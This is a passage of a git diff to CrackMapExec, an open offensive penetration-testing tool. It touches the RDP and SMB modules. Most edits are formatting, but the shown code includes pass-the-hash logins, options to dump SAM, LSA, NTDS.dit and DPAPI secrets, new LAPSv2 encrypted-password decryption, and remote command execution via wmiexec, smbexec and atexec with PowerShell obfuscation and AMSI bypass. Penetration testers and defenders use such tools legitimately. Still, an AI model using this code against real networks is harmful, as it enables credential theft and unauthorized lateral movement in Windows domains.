NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + (f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False def hash_login(self, domain, username, ntlm_hash): try: - self.auth = NTLMCredential(secret=ntlm_hash, username=username, domain=domain, stype=asyauthSecret.NT) + self.auth = NTLMCredential( + secret=ntlm_hash, + username=username, + domain=domain, + stype=asyauthSecret.NT, + ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success( - u"{}\\{}:{} {}".format( - self.domain, - username, - ntlm_hash, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') - ) - ) + self.logger.success(f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}") if not self.args.local_auth: - add_user_bh(username, domain, self.logger, self.config) + add_user_bh(username, domain, self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success( - u"{}\\{}:{} {}".format( - domain, - username, - ntlm_hash, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') - ) - ) + self.logger.success(f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}") else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" - + self.logger.fail( - f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + (f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -370,9 +397,7 @@ class rdp(connection): await asyncio.sleep(int(5)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") @@ -382,16 +407,14 @@ class rdp(connection): async def nla_screen(self): # Otherwise it crash self.iosettings.supported_protocols = None - self.auth = NTLMCredential(secret='', username='', domain='', stype=asyauthSecret.PASS) + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp_old(self.url) await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") diff --git a/cme/protocols/rdp/database.py b/cme/protocols/rdp/database.py index f2c4a94f..3cc915b0 100644 --- a/cme/protocols/rdp/database.py +++ b/cme/protocols/rdp/database.py @@ -3,7 +3,11 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger @@ -15,10 +19,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -26,20 +27,24 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "pkey" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer, "server_banner" text - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: @@ -47,12 +52,7 @@ class database: self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/rdp/db_navigator.py b/cme/protocols/rdp/db_navigator.py index afeb6af1..36777af1 100644 --- a/cme/protocols/rdp/db_navigator.py +++ b/cme/protocols/rdp/db_navigator.py @@ -15,4 +15,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 4f0a14a7..24d7e4ba 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -10,7 +10,12 @@ from Cryptodome.Hash import MD4 from impacket.examples.ntlmrelayx.attacks.ldapattack import MSDS_MANAGEDPASSWORD_BLOB from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT -from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes +from impacket.examples.secretsdump import ( + RemoteOperations, + SAMHashes, + LSASecrets, + NTDSHashes, +) from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -36,7 +41,7 @@ from cme.protocols.smb.smbspider import SMBSpider from cme.protocols.smb.passpol import PassPolDump from cme.protocols.smb.samruser import UserSamrDump from cme.protocols.smb.samrfunc import SamrFunc -from cme.protocols.ldap.smbldap import LDAPConnect +from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract from cme.helpers.logger import highlight from cme.helpers.misc import * from cme.helpers.bloodhound import add_user_bh @@ -55,6 +60,7 @@ from datetime import datetime from functools import wraps from traceback import format_exc import logging +from json import loads smb_share_name = gen_random_string(5).upper() smb_server = None @@ -71,7 +77,7 @@ smb_error_status = [ "STATUS_ACCESS_DENIED", "STATUS_NO_SUCH_FILE", "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED" + "KDC_ERR_PREAUTH_FAILED", ] @@ -114,7 +120,7 @@ def requires_smb_server(func): if "payload" in kwargs: payload = kwargs["payload"] if "get_output" in kwargs: - get_output = kwargs['get_output'] + get_output = kwargs["get_output"] if "methods" in kwargs: methods = kwargs["methods"] if not payload and self.args.execute: @@ -127,7 +133,7 @@ def requires_smb_server(func): self.cme_logger, smb_share_name, listen_port=self.args.smb_server_port, - verbose=self.args.verbose + verbose=self.args.verbose, ) smb_server.start() @@ -146,8 +152,8 @@ class smb(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.remote_ops = None self.bootkey = None self.output_filename = None @@ -156,6 +162,8 @@ class smb(connection): self.smb_share_name = smb_share_name self.pvkbytes = None self.no_da = None + self.no_ntlm = False + self.protocol = "SMB" connection.__init__(self, args, db, host) @@ -180,82 +188,192 @@ class smb(connection): cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cegroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", - help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") - cegroup.add_argument("--dpapi", choices={"password", "cookies"}, nargs="?", const="password", - help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)") + cegroup.add_argument( + "--ntds", + choices={"vss", "drsuapi"}, + nargs="?", + const="drsuapi", + help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)", + ) + cegroup.add_argument( + "--dpapi", + choices={"password", "cookies"}, + nargs="?", + const="password", + help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)', + ) # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") - ngroup.add_argument("--mkfile", action="store", - help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + ngroup.add_argument( + "--mkfile", + action="store", + help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", + ) ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC") ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") - egroup.add_argument("--filter-shares", nargs="+", - help="Filter share by access, option 'read' 'write' or 'read,write'") + egroup.add_argument( + "--filter-shares", + nargs="+", + help="Filter share by access, option 'read' 'write' or 'read,write'", + ) egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions") egroup.add_argument("--disks", action="store_true", help="enumerate disks") - egroup.add_argument("--loggedon-users-filter", action="store", - help="only search for specific user, works with regex") + egroup.add_argument( + "--loggedon-users-filter", + action="store", + help="only search for specific user, works with regex", + ) egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") - egroup.add_argument("--users", nargs="?", const="", metavar="USER", - help="enumerate domain users, if a user is specified than only its information is queried.") - egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", - help="enumerate domain groups, if a group is specified than its members are enumerated") - egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") - egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", - help="enumerate local groups, if a group is specified then its members are enumerated") + egroup.add_argument( + "--users", + nargs="?", + const="", + metavar="USER", + help="enumerate domain users, if a user is specified than only its information is queried.", + ) + egroup.add_argument( + "--groups", + nargs="?", + const="", + metavar="GROUP", + help="enumerate domain groups, if a group is specified than its members are enumerated", + ) + egroup.add_argument( + "--computers", + nargs="?", + const="", + metavar="COMPUTER", + help="enumerate computer users", + ) + egroup.add_argument( + "--local-groups", + nargs="?", + const="", + metavar="GROUP", + help="enumerate local groups, if a group is specified then its members are enumerated", + ) egroup.add_argument("--pass-pol", action="store_true", help="dump password policy") - egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", - help="enumerate users by bruteforcing RID's (default: 4000)") + egroup.add_argument( + "--rid-brute", + nargs="?", + type=int, + const=4000, + metavar="MAX_RID", + help="enumerate users by bruteforcing RID's (default: 4000)", + ) egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") - egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", - help="WMI Namespace (default: root\\cimv2)") + egroup.add_argument( + "--wmi-namespace", + metavar="NAMESPACE", + default="root\\cimv2", + help="WMI Namespace (default: root\\cimv2)", + ) - sgroup = smb_parser.add_argument_group("Spidering", 'Options for spidering shares') + sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider") - sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, - help="folder to spider (default: root share directory)") + sgroup.add_argument( + "--spider-folder", + metavar="FOLDER", + default=".", + type=str, + help="folder to spider (default: root share directory)", + ) sgroup.add_argument("--content", action="store_true", help="enable file content searching") - sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", - help="directories to exclude from spidering") + sgroup.add_argument( + "--exclude-dirs", + type=str, + metavar="DIR_LIST", + default="", + help="directories to exclude from spidering", + ) segroup = sgroup.add_mutually_exclusive_group() - segroup.add_argument("--pattern", nargs="+", - help="pattern(s) to search for in folders, filenames and file content") - segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content") - sgroup.add_argument("--depth", type=int, default=None, - help="max spider recursion depth (default: infinity & beyond)") + segroup.add_argument( + "--pattern", + nargs="+", + help="pattern(s) to search for in folders, filenames and file content", + ) + segroup.add_argument( + "--regex", + nargs="+", + help="regex(s) to search for in folders, filenames and file content", + ) + sgroup.add_argument( + "--depth", + type=int, + default=None, + help="max spider recursion depth (default: infinity & beyond)", + ) sgroup.add_argument("--only-files", action="store_true", help="only spider files") tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") - tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") - tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") - tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") + tgroup.add_argument( + "--put-file", + nargs=2, + metavar="FILE", + help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt", + ) + tgroup.add_argument( + "--get-file", + nargs=2, + metavar="FILE", + help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt", + ) + tgroup.add_argument( + "--append-host", + action="store_true", + help="append the host to the get-file filename", + ) cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") - cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, - help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") - cgroup.add_argument("--codec", default="utf-8", - help="Set encoding used (codec) from the target's output (default " - "\"utf-8\"). If errors are detected, run chcp.com at the target, " - "map the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " - "again with --codec and the corresponding codec") - cgroup.add_argument("--force-ps32", action="store_true", - help="force the PowerShell command to run in a 32-bit process") + cgroup.add_argument( + "--exec-method", + choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, + default=None, + help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)", + ) + cgroup.add_argument( + "--codec", + default="utf-8", + help="Set encoding used (codec) from the target's output (default " '"utf-8"). If errors are detected, run chcp.com at the target, ' "map the result with " "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " "again with --codec and the corresponding codec", + ) + cgroup.add_argument( + "--force-ps32", + action="store_true", + help="force the PowerShell command to run in a 32-bit process", + ) cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") - cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") + cegroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + cegroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") - psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass') - psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") + psgroup.add_argument( + "--amsi-bypass", + nargs=1, + metavar="FILE", + help="File with a custom AMSI bypass", + ) + psgroup.add_argument( + "--clear-obfscripts", + action="store_true", + help="Clear all cached obfuscated PowerShell scripts", + ) return parser @@ -265,13 +383,13 @@ class smb(connection): "protocol": "SMB", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) def get_os_arch(self): try: - string_binding = fr"ncacn_ip_tcp:{self.host}[135]" + string_binding = rf"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() @@ -279,7 +397,10 @@ class smb(connection): dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: - dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) + dce.bind( + MSRPC_UUID_PORTMAP, + transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), + ) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() @@ -294,38 +415,46 @@ class smb(connection): def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - no_ntlm = False + try: - self.conn.login('', '') + self.conn.login("", "") except BrokenPipeError: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): # no ntlm supported - no_ntlm = True + self.no_ntlm = True pass - self.domain = self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain - self.hostname = self.conn.getServerName() if not no_ntlm else self.host + self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain + self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host self.server_os = self.conn.getServerOS() + self.logger.extra["hostname"] = self.hostname + + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") try: - self.signing = self.conn.isSigningRequired() \ - if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: self.logger.debug(e) pass self.os_arch = self.get_os_arch() - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") if not self.domain: self.domain = self.hostname - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing) + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os, + self.smbv1, + self.signing, + ) try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection @@ -342,7 +471,7 @@ class smb(connection): def laps_search(self, username, password, ntlm_hash, domain): self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" - + ldapco = LDAPConnect(self.domain, "389", self.domain) if self.kerberos: @@ -352,69 +481,77 @@ class smb(connection): connection = ldapco.kerberos_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '', + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", kdcHost=self.kdcHost, - aesKey=self.aesKey + aesKey=self.aesKey, ) else: - connection = ldapco.plaintext_login( + connection = ldapco.auth_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '' + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", ) if not connection: self.logger.fail(f"LDAP connection failed with account {username[0]}") return False - search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] - results = connection.search( - searchFilter=search_filter, - attributes=attributes, - sizeLimit=0 - ) + search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))" + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] + results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) - msMCSAdmPwd = '' - sAMAccountName = '' - username = '' + msMCSAdmPwd = "" + sAMAccountName = "" + username_laps = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']} + values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") - - return False + msMCSAdmPwd = values["mslaps-encryptedpassword"] + d = LAPSv2Extract( + bytes(msMCSAdmPwd), + username[0] if username else "", + password[0] if password else "", + domain, + ntlm_hash[0] if ntlm_hash else "", + self.args.kerberos, + self.args.kdcHost, + 339) + data = d.run() + r = loads(data) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "mslaps-password" in values: - from json import loads - r = loads(values['mslaps-password']) - msMCSAdmPwd = r['p'] - username = r['n'] + r = loads(str(values["mslaps-password"])) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values['ms-mcs-admpwd'] + msMCSAdmPwd = str(values["ms-mcs-admpwd"]) else: self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") else: - self.logger.fail( - f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' - ) + self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return False - self.username = self.args.laps if not username else username + self.username = self.args.laps if not username_laps else username_laps self.password = msMCSAdmPwd - if msMCSAdmPwd == '': - self.logger.fail( - f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' - ) + if msMCSAdmPwd == "": + self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return False if ntlm_hash: @@ -427,17 +564,18 @@ class smb(connection): return True def print_host_info(self): - self.logger.display( - f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" - ) + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})") if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): logging.getLogger("impacket").disabled = True # Re-connect since we logged off - fqdn_host = f"{self.hostname}.{self.domain}" + if not self.no_ntlm: + fqdn_host = f"{self.hostname}.{self.domain}" + else: + fqdn_host = f"{self.host}" self.create_conn_obj(fqdn_host) lmhash = "" nthash = "" @@ -464,10 +602,10 @@ class smb(connection): kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") - self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) + self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) self.check_if_admin() - if username == '': + if username == "": self.username = self.conn.getCredentials()[0] else: self.username = username @@ -495,7 +633,7 @@ class smb(connection): # success for now, since it's a vulnerability - previously was an error self.logger.success( f"{domain}\\{self.username} account vulnerable to asreproast attack", - color='yellow' + color="yellow", ) return False except (FileNotFoundError, KerberosException) as e: @@ -503,15 +641,13 @@ class smb(connection): return False except OSError as e: used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" - self.logger.fail( - f"{domain}\\{self.username}{used_ccache} {e}" - ) + self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: self.inc_failed_login(username) @@ -541,7 +677,14 @@ class smb(connection): if self.admin_privs: self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) + self.db.add_admin_user( + "plaintext", + domain, + self.username, + self.password, + self.host, + user_id=user_id, + ) out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.success(out) @@ -561,7 +704,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f'{domain}\\{self.username}:{process_secret(self.password )} {error} {f"({desc})" if self.args.verbose else ""}', - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: self.inc_failed_login(username) @@ -625,7 +768,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: @@ -643,7 +786,7 @@ class smb(connection): None, self.args.port, preferredDialect=SMB_DIALECT, - timeout=self.args.smb_timeout + timeout=self.args.smb_timeout, ) self.smbv1 = True except socket.error as e: @@ -656,14 +799,14 @@ class smb(connection): return True - def create_smbv3_conn(self, kdc=''): + def create_smbv3_conn(self, kdc=""): try: self.conn = SMBConnection( self.host if not kdc else kdc, self.host if not kdc else kdc, None, self.args.port, - timeout=self.args.smb_timeout + timeout=self.args.smb_timeout, ) self.smbv1 = False except socket.error as e: @@ -706,7 +849,7 @@ class smb(connection): with sem: with open(self.args.gen_relay_list, "a+") as relay_list: if self.host not in relay_list.read(): - relay_list.write(self.host + '\n') + relay_list.write(self.host + "\n") @requires_admin # @requires_smb_server @@ -735,7 +878,8 @@ class smb(connection): self.aesKey, self.kdcHost, self.hash, - self.args.share + self.args.share, + logger=self.logger ) self.logger.info("Executed command via wmiexec") break @@ -752,7 +896,7 @@ class smb(connection): self.password, self.domain, self.conn, - self.hash + self.hash, ) self.logger.info("Executed command via mmcexec") break @@ -771,7 +915,7 @@ class smb(connection): self.kerberos, self.aesKey, self.kdcHost, - self.hash + self.hash, ) # self.args.share) self.logger.info("Executed command via atexec") break @@ -782,7 +926,7 @@ class smb(connection): elif method == "smbexec": try: exec_method = SMBEXEC( - self.host if not self.kerberos else self.hostname + '.' + self.domain, + self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.conn, self.args.port, @@ -793,7 +937,8 @@ class smb(connection): self.aesKey, self.kdcHost, self.hash, - self.args.share + self.args.share, + self.logger ) self.logger.info("Executed command via smbexec") break @@ -812,7 +957,7 @@ class smb(connection): output = output.decode(self.args.codec) except UnicodeDecodeError: self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") - output = output.decode('cp437') + output = output.decode("cp437") output = output.strip() self.logger.debug(f"Output: {output}") @@ -826,7 +971,15 @@ class smb(connection): return output @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): + def ps_execute( + self, + payload=None, + get_output=False, + methods=None, + force_ps32=False, + dont_obfs=False, + ): + response = [] if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: @@ -836,28 +989,32 @@ class smb(connection): if os.path.isfile(payload): with open(payload) as commands: for c in commands: - self.execute( - create_ps_command( - c, - force_ps32=force_ps32, - dont_obfs=dont_obfs, - custom_amsi=amsi_bypass - ), - get_output, - methods + response.append( + self.execute( + create_ps_command( + c, + force_ps32=force_ps32, + dont_obfs=dont_obfs, + custom_amsi=amsi_bypass, + ), + get_output, + methods, + ) ) else: - self.execute( - create_ps_command( - payload, - force_ps32=force_ps32, - dont_obfs=dont_obfs, - custom_amsi=amsi_bypass - ), - get_output, - methods - ) - return '' + response = [ + self.execute( + create_ps_command( + payload, + force_ps32=force_ps32, + dont_obfs=dont_obfs, + custom_amsi=amsi_bypass, + ), + get_output, + methods, + ) + ] + return response def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) @@ -865,10 +1022,7 @@ class smb(connection): try: self.logger.debug(f"domain: {self.domain}") - user_id = self.db.get_user( - 